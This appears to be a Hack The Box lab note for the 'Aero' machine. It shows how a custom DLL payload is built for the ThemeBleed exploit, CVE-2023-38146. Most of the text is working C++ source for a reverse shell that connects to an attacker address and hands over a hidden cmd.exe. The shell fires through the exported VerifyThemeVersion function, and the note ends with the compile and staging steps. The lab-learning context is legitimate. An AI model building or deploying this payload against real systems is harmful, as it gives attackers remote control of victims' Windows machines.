Aero_Payload

Custom DLL Payload for CVE-2023-38146

---

Since the DLL payload supplied to the [[Aero_CVE-2023-38146#[Exploit](https //github.com/gabe-k/themebleed)|exploit package]] launces calc.exe for the purpose of PoC, I would need to supply a custom DLL payload in order to invoke a code execution

Creating a new VS project for a custom DLL payload

rev.cpp

---

#include "pch.h"
#include <stdio.h>
#include <string.h>
#include <process.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#pragma comment(lib, "Ws2_32.lib")
#include "rev.h"
using namespace std;
 
void rev_shell()
{
	FreeConsole();
 
	const char* REMOTE_ADDR = "10.10.14.4";
	const char* REMOTE_PORT = "9999";
 
	WSADATA wsaData;
	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	struct addrinfo* result = NULL, * ptr = NULL, hints;
	memset(&hints, 0, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;
	getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &hints, &result);
	ptr = result;
	SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, NULL, NULL);
	connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	si.hStdInput = (HANDLE)ConnectSocket;
	si.hStdOutput = (HANDLE)ConnectSocket;
	si.hStdError = (HANDLE)ConnectSocket;
	TCHAR cmd[] = TEXT("C:\\WINDOWS\\SYSTEM32\\CMD.EXE");
	CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
	WaitForSingleObject(pi.hProcess, INFINITE);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	WSACleanup();
}
 
int VerifyThemeVersion(void)
{
	rev_shell();
	return 0;
}

Adding a new source file, rev.cpp, containing a reverse shell

rev.h

---

Adding a new header file, rev.h, with the VerifyThemeVersion export

Compile

---

Build complete

PS C:\Users\tacticalgator\source\repos\CVE-2023-38146\x64\Release> scp .\CVE-2023-38146.dll kali@kali:~/archive/htb/labs/aero/ThemeBleed/stage_3

Now I will rename this to stage_3 and place in the data directory